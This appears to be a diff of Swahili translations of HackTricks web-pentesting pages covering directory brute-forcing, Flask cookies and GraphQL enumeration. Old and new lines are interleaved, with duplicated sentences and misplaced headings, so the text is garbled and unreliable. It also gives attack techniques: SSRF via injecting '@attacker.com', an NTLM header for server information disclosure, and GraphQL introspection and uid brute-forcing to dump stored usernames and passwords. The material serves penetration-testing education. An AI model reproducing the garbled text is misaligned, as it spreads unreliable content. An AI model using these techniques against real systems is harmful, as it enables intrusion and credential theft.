Anza **brute-forcing** kutoka kwenye folda ya mzizi na uhakikishe unafanya brute-force **zote** za **directories zilizopatikana** kwa kutumia **hii mbinu** na zote za directories **zilizogunduliwa** na **Spidering** (unaweza kufanya brute-forcing hii **kikamilifu** na kuongeza mwanzoni mwa orodha ya maneno iliyotumika majina ya directories zilizopatikana).\
 | 
			
		||||
Anza **brute-forcing** kutoka kwenye folda ya mzizi na uhakikishe unafanya brute-force **zote** **directories zilizopatikana** kwa kutumia **hii mbinu** na zote **directories zilizogunduliwa** na **Spidering** (unaweza kufanya brute-forcing hii **kikamilifu** na kuongeza mwanzoni mwa orodha ya maneno iliyotumika majina ya directories zilizopatikana).\
 | 
			
		||||
Zana:
 | 
			
		||||
 | 
			
		||||
### Nini cha kuangalia kwenye kila faili lililopatikana
 | 
			
		||||
- **Dirb** / **Dirbuster** - Imejumuishwa katika Kali, **ya zamani** (na **polepole**) lakini inafanya kazi. Inaruhusu vyeti vilivyojitiisha kiotomatiki na utafutaji wa kurudiwa. Polepole sana ikilinganishwa na chaguzi nyingine.
 | 
			
		||||
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Haikubali vyeti vilivyojitiisha kiotomatiki lakini** inaruhusu utafutaji wa kurudiwa.
 | 
			
		||||
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Inaruhusu vyeti vilivyojitiisha kiotomatiki, **haikubali** **utaftaji wa kurudiwa**.
 | 
			
		||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Haraka, inasaidia utafutaji wa kurudiwa.**
 | 
			
		||||
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
 | 
			
		||||
- [**ffuf** ](https://github.com/ffuf/ffuf)- Haraka: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
 | 
			
		||||
- [**uro**](https://github.com/s0md3v/uro) (python): Hii si spider bali ni chombo ambacho kwa orodha ya URLs zilizopatikana kitafuta "URLs zilizojirudia".
 | 
			
		||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Kiendelezi cha Burp kuunda orodha ya directories kutoka kwa historia ya burp ya kurasa tofauti.
 | 
			
		||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Ondoa URLs zenye kazi zilizojirudia (kulingana na uagizaji wa js).
 | 
			
		||||
- [**Chamaleon**](https://github.com/iustin24/chameleon): Inatumia wapalyzer kugundua teknolojia zinazotumika na kuchagua orodha za maneno za kutumia.
 | 
			
		||||
 | 
			
		||||
- **File Backups**: Mara tu unapokuwa umepata faili zote, angalia nakala za faili zote zinazoweza kutekelezwa ("_.php_", "_.aspx_"...). Mabadiliko ya kawaida ya kutaja nakala ni: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp na file.old._ Unaweza pia kutumia zana [**bfac**](https://github.com/mazen160/bfac) **au** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
 | 
			
		||||
**Orodha za maneno zinazopendekezwa:**
 | 
			
		||||
 | 
			
		||||
### Maelezo ya Kihistoria
 | 
			
		||||
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
 | 
			
		||||
- [**Dirsearch** orodha iliyojumuishwa](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
 | 
			
		||||
- [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
 | 
			
		||||
- [Assetnote wordlists](https://wordlists.assetnote.io)
 | 
			
		||||
- [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
 | 
			
		||||
- raft-large-directories-lowercase.txt
 | 
			
		||||
- directory-list-2.3-medium.txt
 | 
			
		||||
- RobotsDisallowed/top10000.txt
 | 
			
		||||
- [https://github.com/random-robbie/bruteforce-lists](https://github.com/random-robbie/bruteforce-lists)
 | 
			
		||||
- [https://github.com/google/fuzzing/tree/master/dictionaries](https://github.com/google/fuzzing/tree/master/dictionaries)
 | 
			
		||||
- [https://github.com/six2dez/OneListForAll](https://github.com/six2dez/OneListForAll)
 | 
			
		||||
- [https://github.com/random-robbie/bruteforce-lists](https://github.com/random-robbie/bruteforce-lists)
 | 
			
		||||
- [https://github.com/ayoubfathi/leaky-paths](https://github.com/ayoubfathi/leaky-paths)
 | 
			
		||||
- _/usr/share/wordlists/dirb/common.txt_
 | 
			
		||||
- _/usr/share/wordlists/dirb/big.txt_
 | 
			
		||||
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
 | 
			
		||||
 | 
			
		||||
_Kumbuka kwamba kila wakati directory mpya inapatikana wakati wa brute-forcing au spidering, inapaswa kufanywa Brute-Forced._
 | 
			
		||||
 | 
			
		||||
### Nini cha kuangalia kwenye kila faili iliyopatikana
 | 
			
		||||
 | 
			
		||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Pata viungo vilivyovunjika ndani ya HTMLs ambavyo vinaweza kuwa na hatari ya kuchukuliwa.
 | 
			
		||||
- **File Backups**: Mara tu unapopata faili zote, angalia nakala za faili zote zinazotekelezeka ("_.php_", "_.aspx_"...). Mabadiliko ya kawaida ya kutaja nakala ni: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp na file.old._ Unaweza pia kutumia chombo [**bfac**](https://github.com/mazen160/bfac) **au** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
 | 
			
		||||
- **Gundua parameta mpya**: Unaweza kutumia zana kama [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **na** [**Param Miner**](https://github.com/PortSwigger/param-miner) **kugundua parameta zilizofichwa. Ikiwa unaweza, unaweza kujaribu kutafuta** parameta zilizofichwa kwenye kila faili ya wavuti inayotekelezeka.
 | 
			
		||||
- _Arjun orodha zote za maneno za kawaida:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
 | 
			
		||||
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
 | 
			
		||||
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
 | 
			
		||||
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
 | 
			
		||||
- **Maoni:** Angalia maoni ya faili zote, unaweza kupata **akili** au **kazi zilizofichwa**.
 | 
			
		||||
- Ikiwa unacheza **CTF**, hila "ya kawaida" ni **kuficha** **habari** ndani ya maoni upande wa **kulia** wa **ukurasa** (ukitumia **mifumo** ya **maelfu** ili usione data ikiwa unafungua msimbo wa chanzo na kivinjari). Uwezekano mwingine ni kutumia **michoro kadhaa mipya** na **kuficha habari** katika maoni kwenye **chini** ya ukurasa wa wavuti.
 | 
			
		||||
- **API keys**: Ikiwa **unapata funguo zozote za API** kuna mwongozo unaoelekeza jinsi ya kutumia funguo za API za majukwaa tofauti: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
 | 
			
		||||
- Funguo za Google API: Ikiwa unapata funguo zozote za API zinazoonekana kama **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik unaweza kutumia mradi [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) kuangalia ni APIs zipi funguo hiyo inaweza kufikia.
 | 
			
		||||
- **S3 Buckets**: Wakati wa spidering angalia ikiwa **subdomain** au kiungo chochote kinahusiana na **S3 bucket**. Katika kesi hiyo, [**angalia** **idhini** ya ndoo](buckets/index.html).
 | 
			
		||||
 | 
			
		||||
### Matokeo Maalum
 | 
			
		||||
 | 
			
		||||
**Wakati** wa kufanya **spidering** na **brute-forcing** unaweza kupata **mambo ya kuvutia** ambayo unapaswa **kuangazia**.
 | 
			
		||||
 | 
			
		||||
### Ufuatiliaji wa Kurasa kwa mabadiliko
 | 
			
		||||
**Faili za Kuvutia**
 | 
			
		||||
 | 
			
		||||
- Angalia **viungo** kwa faili nyingine ndani ya **CSS**.
 | 
			
		||||
- [Ikiwa unapata faili ya _**.git**_ habari fulani inaweza kutolewa](git.md)
 | 
			
		||||
- Ikiwa unapata _**.env**_ habari kama funguo za api, nywila za db na habari nyingine zinaweza kupatikana.
 | 
			
		||||
- Ikiwa unapata **API endpoints** unapaswa pia kujaribu [hizi](web-api-pentesting.md). Hizi si faili, lakini labda "zitakavyoonekana" kama hizo.
 | 
			
		||||
- **Faili za JS**: Katika sehemu ya spidering zana kadhaa ambazo zinaweza kutoa njia kutoka kwa faili za JS zilitajwa. Pia, itakuwa ya kuvutia **kufuatilia kila faili ya JS iliyopatikana**, kwani katika baadhi ya matukio, mabadiliko yanaweza kuashiria kuwa udhaifu wa uwezekano umeingizwa katika msimbo. Unaweza kutumia kwa mfano [**JSMon**](https://github.com/robre/jsmon)**.**
 | 
			
		||||
- Unapaswa pia kuangalia faili za JS zilizogunduliwa na [**RetireJS**](https://github.com/retirejs/retire.js/) au [**JSHole**](https://github.com/callforpapers-source/jshole) ili kuona ikiwa ina udhaifu.
 | 
			
		||||
- **Javascript Deobfuscator na Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
 | 
			
		||||
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
 | 
			
		||||
- **JsFuck deobfuscation** (javascript na herufi:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
 | 
			
		||||
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
 | 
			
		||||
- Katika matukio kadhaa, utahitaji **kuelewa kanuni za kawaida** zinazotumika. Hii itakuwa na manufaa: [https://regex101.com/](https://regex101.com) au [https://pythonium.net/regex](https://pythonium.net/regex)
 | 
			
		||||
- Unaweza pia **kufuatilia faili ambapo fomu zilipatikana**, kwani mabadiliko katika parameta au kuonekana kwa fomu mpya kunaweza kuashiria kazi mpya inayoweza kuwa na udhaifu.
 | 
			
		||||
 | 
			
		||||
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
403-and-401-bypasses.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
**502 Proxy Error**
 | 
			
		||||
 | 
			
		||||
Ikiwa ukurasa wowote **unajibu** na **nambari** hiyo, labda ni **proxy iliyo na makosa**. **Ikiwa utatuma ombi la HTTP kama: `GET https://google.com HTTP/1.1`** (pamoja na kichwa cha mwenyeji na vichwa vingine vya kawaida), **proxy** itajaribu **kufikia** _**google.com**_ **na utakuwa umepata** SSRF.
 | 
			
		||||
 | 
			
		||||
**NTLM Authentication - Info disclosure**
 | 
			
		||||
 | 
			
		||||
Ikiwa seva inayotumika inahitaji uthibitisho ni **Windows** au unapata kuingia inayohitaji **akili zako** (na kuomba **jina la** **domain**), unaweza kusababisha **ufichuzi wa habari**.\
 | 
			
		||||
**Tuma** **kichwa**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` na kutokana na jinsi **uthibitisho wa NTLM unavyofanya kazi**, seva itajibu kwa habari za ndani (toleo la IIS, toleo la Windows...) ndani ya kichwa "WWW-Authenticate".\
 | 
			
		||||
Unaweza **kujiandaa** hii kwa kutumia **nmap plugin** "_http-ntlm-info.nse_".
 | 
			
		||||
 | 
			
		||||
**HTTP Redirect (CTF)**
 | 
			
		||||
 | 
			
		||||
Inawezekana **kweka maudhui** ndani ya **Redirection**. Maudhui haya **hayataonyeshwa kwa mtumiaji** (kama kivinjari kitatekeleza uelekeo) lakini kitu kinaweza kuwa **kimefichwa** huko.
 | 
			
		||||
 | 
			
		||||
### Web Vulnerabilities Checking
 | 
			
		||||
 | 
			
		||||
Sasa kwamba orodha kamili ya programu ya wavuti imefanywa ni wakati wa kuangalia udhaifu wengi wanaoweza kutokea. Unaweza kupata orodha ya ukaguzi hapa:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../../pentesting-web/web-vulnerabilities-methodology.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
Pata maelezo zaidi kuhusu udhaifu wa wavuti katika:
 | 
			
		||||
 | 
			
		||||
- [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
 | 
			
		||||
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
 | 
			
		||||
- [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)
 | 
			
		||||
 | 
			
		||||
### Monitor Pages for changes
 | 
			
		||||
 | 
			
		||||
Unaweza kutumia zana kama [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) kufuatilia kurasa kwa mabadiliko ambayo yanaweza kuingiza udhaifu.
 | 
			
		||||
 | 
			
		||||
### HackTricks Automatic Commands
 | 
			
		||||
```
 | 
			
		||||
Protocol_Name: Web    #Protocol Abbreviation if there is one.
 | 
			
		||||
Port_Number:  80,443     #Comma separated if there is more than one.
 | 
			
		||||
 | 
			
		||||
@ -2,19 +2,19 @@
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
**Labda ikiwa unacheza CTF, programu ya Flask itahusishwa na** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.**
 | 
			
		||||
**Labda ikiwa unacheza CTF, programu ya Flask itahusishwa na** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/index.html)**.**
 | 
			
		||||
 | 
			
		||||
## Cookies
 | 
			
		||||
 | 
			
		||||
Jina la kikao cha kuki la default ni **`session`**.
 | 
			
		||||
Jina la kawaida la kikao cha cookie ni **`session`**.
 | 
			
		||||
 | 
			
		||||
### Decoder
 | 
			
		||||
 | 
			
		||||
Decoder ya kuki za Flask mtandaoni: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
 | 
			
		||||
Decoder ya cookie za Flask mtandaoni: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
 | 
			
		||||
 | 
			
		||||
#### Manual
 | 
			
		||||
 | 
			
		||||
Pata sehemu ya kwanza ya kuki hadi nukta ya kwanza na uifanye Base64 decode>
 | 
			
		||||
Pata sehemu ya kwanza ya cookie hadi nukta ya kwanza na uifanye Base64 decode>
 | 
			
		||||
```bash
 | 
			
		||||
echo "ImhlbGxvIg" | base64 -d
 | 
			
		||||
```
 | 
			
		||||
@ -83,6 +83,6 @@ return get(f'{SITE_NAME}{path}').content
 | 
			
		||||
 | 
			
		||||
app.run(host='0.0.0.0', port=8080)
 | 
			
		||||
```
 | 
			
		||||
Inaweza kuruhusu kuanzisha kitu kama "@attacker.com" ili kusababisha **SSRF**.
 | 
			
		||||
Inaweza kuruhusu kuingiza kitu kama "@attacker.com" ili kusababisha **SSRF**.
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -2,17 +2,17 @@
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
## Utangulizi
 | 
			
		||||
## Introduction
 | 
			
		||||
 | 
			
		||||
GraphQL inasisitizwa kama **mbadala mzuri** kwa REST API, ikitoa njia rahisi ya kuuliza data kutoka kwa backend. Kinyume na REST, ambayo mara nyingi inahitaji maombi mengi kupitia maeneo tofauti ili kukusanya data, GraphQL inaruhusu upatikanaji wa taarifa zote zinazohitajika kupitia **ombio moja**. Hii inarahisisha sana **wanakuza** kwa kupunguza ugumu wa michakato yao ya upatikanaji wa data.
 | 
			
		||||
 | 
			
		||||
## GraphQL na Usalama
 | 
			
		||||
 | 
			
		||||
Kwa kuibuka kwa teknolojia mpya, ikiwa ni pamoja na GraphQL, udhaifu mpya wa usalama pia unatokea. Jambo muhimu la kuzingatia ni kwamba **GraphQL haina mifumo ya uthibitishaji kwa chaguo-msingi**. Ni jukumu la wanakuza kutekeleza hatua hizo za usalama. Bila uthibitishaji sahihi, maeneo ya GraphQL yanaweza kufichua taarifa nyeti kwa watumiaji wasio na uthibitisho, na kuleta hatari kubwa ya usalama.
 | 
			
		||||
Kwa kuibuka kwa teknolojia mpya, ikiwa ni pamoja na GraphQL, udhaifu mpya wa usalama pia unatokea. Kitu muhimu cha kuzingatia ni kwamba **GraphQL haina mifumo ya uthibitishaji kwa chaguo-msingi**. Ni jukumu la wanakuza kutekeleza hatua za usalama kama hizo. Bila uthibitishaji sahihi, maeneo ya GraphQL yanaweza kufichua taarifa nyeti kwa watumiaji wasio na uthibitisho, na kuleta hatari kubwa ya usalama.
 | 
			
		||||
 | 
			
		||||
### Mashambulizi ya Directory Brute Force na GraphQL
 | 
			
		||||
 | 
			
		||||
Ili kubaini mifano ya GraphQL iliyofichuliwa, ni vyema kujumuisha njia maalum katika mashambulizi ya directory brute force. Njia hizi ni:
 | 
			
		||||
Ili kubaini mifano ya GraphQL iliyofichuliwa, ni mapendekezo kuingiza njia maalum katika mashambulizi ya directory brute force. Njia hizi ni:
 | 
			
		||||
 | 
			
		||||
- `/graphql`
 | 
			
		||||
- `/graphiql`
 | 
			
		||||
@ -23,15 +23,15 @@ Ili kubaini mifano ya GraphQL iliyofichuliwa, ni vyema kujumuisha njia maalum ka
 | 
			
		||||
- `/graphql/api`
 | 
			
		||||
- `/graphql/graphql`
 | 
			
		||||
 | 
			
		||||
Kugundua mifano ya GraphQL iliyo wazi kunaruhusu uchambuzi wa maswali yanayoungwa mkono. Hii ni muhimu kwa kuelewa data inayopatikana kupitia eneo hilo. Mfumo wa uchunguzi wa GraphQL unarahisisha hili kwa kuelezea maswali ambayo muundo unasaidia. Kwa maelezo zaidi kuhusu hili, rejelea nyaraka za GraphQL kuhusu uchunguzi: [**GraphQL: Lugha ya kuuliza kwa APIs.**](https://graphql.org/learn/introspection/)
 | 
			
		||||
Kugundua mifano ya GraphQL iliyo wazi kunaruhusu uchambuzi wa maswali yanayoungwa mkono. Hii ni muhimu kwa kuelewa data inayopatikana kupitia eneo hilo. Mfumo wa uchunguzi wa GraphQL unarahisisha hili kwa kuelezea maswali ambayo muundo unasaidia. Kwa maelezo zaidi kuhusu hili, rejelea nyaraka za GraphQL kuhusu uchunguzi: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/)
 | 
			
		||||
 | 
			
		||||
### Alama
 | 
			
		||||
### Fingerprint
 | 
			
		||||
 | 
			
		||||
Chombo [**graphw00f**](https://github.com/dolevf/graphw00f) kina uwezo wa kugundua ni injini gani ya GraphQL inayotumika kwenye seva na kisha kuchapisha taarifa muhimu kwa mkaguzi wa usalama.
 | 
			
		||||
 | 
			
		||||
#### Maswali ya Kijumla <a href="#universal-queries" id="universal-queries"></a>
 | 
			
		||||
#### Universal queries <a href="#universal-queries" id="universal-queries"></a>
 | 
			
		||||
 | 
			
		||||
Ili kuangalia kama URL ni huduma ya GraphQL, **swali la kijumla**, `query{__typename}`, linaweza kutumwa. Ikiwa jibu linajumuisha `{"data": {"__typename": "Query"}}`, inathibitisha kuwa URL ina eneo la GraphQL. Njia hii inategemea uwanja wa `__typename` wa GraphQL, ambao unaonyesha aina ya kitu kilichoulizwa.
 | 
			
		||||
Ili kuangalia kama URL ni huduma ya GraphQL, **ombio ya ulimwengu**, `query{__typename}`, inaweza kutumwa. Ikiwa jibu linajumuisha `{"data": {"__typename": "Query"}}`, inathibitisha kuwa URL ina eneo la GraphQL. Njia hii inategemea uwanja wa GraphQL `__typename`, ambao unaonyesha aina ya kitu kilichoulizwa.
 | 
			
		||||
```javascript
 | 
			
		||||
query{__typename}
 | 
			
		||||
```
 | 
			
		||||
@ -45,19 +45,19 @@ Ili kutumia utafiti kugundua taarifa za muundo, uliza uwanja wa `__schema`. Uwan
 | 
			
		||||
```bash
 | 
			
		||||
query={__schema{types{name,fields{name}}}}
 | 
			
		||||
```
 | 
			
		||||
Kwa uchunguzi huu utaweza kupata majina ya aina zote zinazotumika: 
 | 
			
		||||
Kwa hii query utaweza kupata majina ya aina zote zinazotumika:
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
```bash
 | 
			
		||||
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
 | 
			
		||||
```
 | 
			
		||||
Kwa hii query unaweza kutoa aina zote, mashamba yake, na hoja zake (na aina ya hoja). Hii itakuwa muhimu sana kujua jinsi ya kuhoji hifadhidata.
 | 
			
		||||
Kwa hii query unaweza kutoa aina zote, mashamba yake, na hoja zake (na aina za hoja). Hii itakuwa muhimu sana kujua jinsi ya kuhoji hifadhidata.
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
**Makosa**
 | 
			
		||||
 | 
			
		||||
Ni ya kuvutia kujua kama **makosa** yataonyeshwa kama yatatoa **habari** muhimu.
 | 
			
		||||
Ni ya kuvutia kujua kama **makosa** yataonyeshwa kwani yatatoa **habari** muhimu.
 | 
			
		||||
```
 | 
			
		||||
?query={__schema}
 | 
			
		||||
?query={}
 | 
			
		||||
@ -65,7 +65,7 @@ Ni ya kuvutia kujua kama **makosa** yataonyeshwa kama yatatoa **habari** muhimu.
 | 
			
		||||
```
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
**Kuhesabu Muundo wa Hifadhidata kupitia Introspection**
 | 
			
		||||
**Kuhesabu Muundo wa Taarifa kupitia Introspection**
 | 
			
		||||
 | 
			
		||||
> [!NOTE]
 | 
			
		||||
> Ikiwa introspection imewezeshwa lakini swali hapo juu halifanyi kazi, jaribu kuondoa mwelekeo wa `onOperation`, `onFragment`, na `onField` kutoka kwa muundo wa swali.
 | 
			
		||||
@ -184,7 +184,7 @@ Unaweza kuona kwamba vitu vya "_Flags_" vinajumuisha **jina** na **thamani**. Ki
 | 
			
		||||
```javascript
 | 
			
		||||
query={flags{name, value}}
 | 
			
		||||
```
 | 
			
		||||
Kumbuka kwamba ikiwa **kipengele cha kuuliza** ni **aina** ya **msingi** kama **string** kama katika mfano ufuatao
 | 
			
		||||
Kumbuka kwamba ikiwa **kipengee cha kuuliza** ni **aina** ya **msingi** kama **nyuzi** kama katika mfano ufuatao
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
@ -192,8 +192,8 @@ Unaweza tu kuuliza kwa:
 | 
			
		||||
```javascript
 | 
			
		||||
query = { hiddenFlags }
 | 
			
		||||
```
 | 
			
		||||
Katika mfano mwingine ambapo kulikuwa na vitu 2 ndani ya aina ya kitu "_Query_": "_user_" na "_users_".\
 | 
			
		||||
Ikiwa vitu hivi havihitaji hoja yoyote kutafuta, unaweza **kupata taarifa zote kutoka kwao** kwa **kuuliza** tu data unayotaka. Katika mfano huu kutoka mtandaoni unaweza kutoa majina ya watumiaji na nywila zilizohifadhiwa:
 | 
			
		||||
Katika mfano mwingine ambapo kulikuwa na vitu 2 ndani ya kitu cha "_Query_": "_user_" na "_users_".\
 | 
			
		||||
Ikiwa vitu hivi havihitaji hoja yoyote kutafuta, unaweza **kupata taarifa zote kutoka kwao** kwa **kuuliza** tu data unayotaka. Katika mfano huu kutoka kwa Mtandao unaweza kutoa majina ya watumiaji na nywila zilizohifadhiwa:
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
@ -202,28 +202,28 @@ Hata hivyo, katika mfano huu ikiwa unajaribu kufanya hivyo unapata **kosa** hili
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
Inaonekana kwa namna fulani itatafuta kwa kutumia hoja ya "_**uid**_" ya aina _**Int**_.\
 | 
			
		||||
Hata hivyo, tayari tulijua kwamba, katika sehemu ya [Basic Enumeration](graphql.md#basic-enumeration) ulipendekezwa uchunguzi ambao ulikuwa ukionyesha taarifa zote zinazohitajika: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
 | 
			
		||||
Hata hivyo, tayari tulijua hilo, katika sehemu ya [Basic Enumeration](graphql.md#basic-enumeration) ulipendekezwa uchunguzi ambao ulionyesha taarifa zote zinazohitajika: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
 | 
			
		||||
 | 
			
		||||
Ikiwa utasoma picha iliyotolewa wakati ninapokimbia uchunguzi huo utaona kwamba "_**user**_" alikuwa na **arg** "_**uid**_" ya aina _Int_.
 | 
			
		||||
Ikiwa utasoma picha iliyotolewa wakati nilipokimbia uchunguzi huo utaona kwamba "_**user**_" alikuwa na **arg** "_**uid**_" ya aina _Int_.
 | 
			
		||||
 | 
			
		||||
Hivyo, kwa kufanya _**uid**_ bruteforce kidogo niligundua kwamba katika _**uid**=**1**_ jina la mtumiaji na nywila vilipatikana:\
 | 
			
		||||
`query={user(uid:1){user,password}}`
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
Kumbuka kwamba niligundua kuwa naweza kuuliza kuhusu **parameta** "_**user**_" na "_**password**_" kwa sababu ikiwa jaribu kutafuta kitu ambacho hakipo (`query={user(uid:1){noExists}}`) napata kosa hili:
 | 
			
		||||
Kumbuka kwamba nilikuwa **nimegundua** kwamba naweza kuuliza kuhusu **vigezo** "_**user**_" na "_**password**_" kwa sababu ikiwa nitajaribu kutafuta kitu ambacho hakipo (`query={user(uid:1){noExists}}`) napata kosa hili:
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
Na wakati wa **awamu ya uainishaji** niligundua kwamba kitu "_**dbuser**_" kilikuwa na kama maeneo "_**user**_" na "_**password**_.
 | 
			
		||||
Na wakati wa **awamu ya uainishaji** niligundua kwamba kitu cha "_**dbuser**_" kilikuwa na kama maeneo "_**user**_" na "_**password**_.
 | 
			
		||||
 | 
			
		||||
**Hila ya kutupa mfuatano wa uchunguzi (shukrani kwa @BinaryShadow\_)**
 | 
			
		||||
 | 
			
		||||
Ikiwa unaweza kutafuta kwa aina ya mfuatano, kama: `query={theusers(description: ""){username,password}}` na unafanya **uchunguzi kwa mfuatano tupu** itatoa **data zote**. (_Kumbuka mfano huu hauhusiani na mfano wa mafunzo, kwa mfano huu dhani unaweza kutafuta kwa kutumia "**theusers**" kwa uwanja wa Mfuatano unaoitwa "**description**"_).
 | 
			
		||||
Ikiwa unaweza kutafuta kwa aina ya mfuatano, kama: `query={theusers(description: ""){username,password}}` na unafanya **tafuta kwa mfuatano tupu** itatoa **data zote**. (_Kumbuka mfano huu hauhusiani na mfano wa mafunzo, kwa mfano huu dhani unaweza kutafuta kwa kutumia "**theusers**" kwa uwanja wa String unaoitwa "**description**"_).
 | 
			
		||||
 | 
			
		||||
### Kutafuta
 | 
			
		||||
 | 
			
		||||
Katika mpangilio huu, **hifadhidata** ina **watu** na **filamu**. **Watu** wanatambulika kwa **barua pepe** zao na **majina**; **filamu** kwa **majina** yao na **ukadiriaji**. **Watu** wanaweza kuwa marafiki na kila mmoja na pia wana filamu, wakionyesha uhusiano ndani ya hifadhidata.
 | 
			
		||||
Katika mpangilio huu, **hifadhi ya data** ina **watu** na **filamu**. **Watu** wanatambulika kwa **barua pepe** na **jina**; **filamu** kwa **jina** na **ukadiriaji**. **Watu** wanaweza kuwa marafiki na kila mmoja na pia wana filamu, wakionyesha uhusiano ndani ya hifadhi ya data.
 | 
			
		||||
 | 
			
		||||
Unaweza **kutafuta** watu **kwa** **jina** na kupata barua zao za pepe:
 | 
			
		||||
```javascript
 | 
			
		||||
@ -233,7 +233,7 @@ email
 | 
			
		||||
}
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
Unaweza **kutafuta** watu **kwa** jina **na** kupata **filamu** zao **zilizosajiliwa**:
 | 
			
		||||
Unaweza **kutafuta** watu **kwa** **jina** na kupata **filamu** zao **zilizosajiliwa**:
 | 
			
		||||
```javascript
 | 
			
		||||
{
 | 
			
		||||
searchPerson(name: "John Doe") {
 | 
			
		||||
@ -281,7 +281,7 @@ name
 | 
			
		||||
}
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
### Mabadiliko
 | 
			
		||||
### Mutations
 | 
			
		||||
 | 
			
		||||
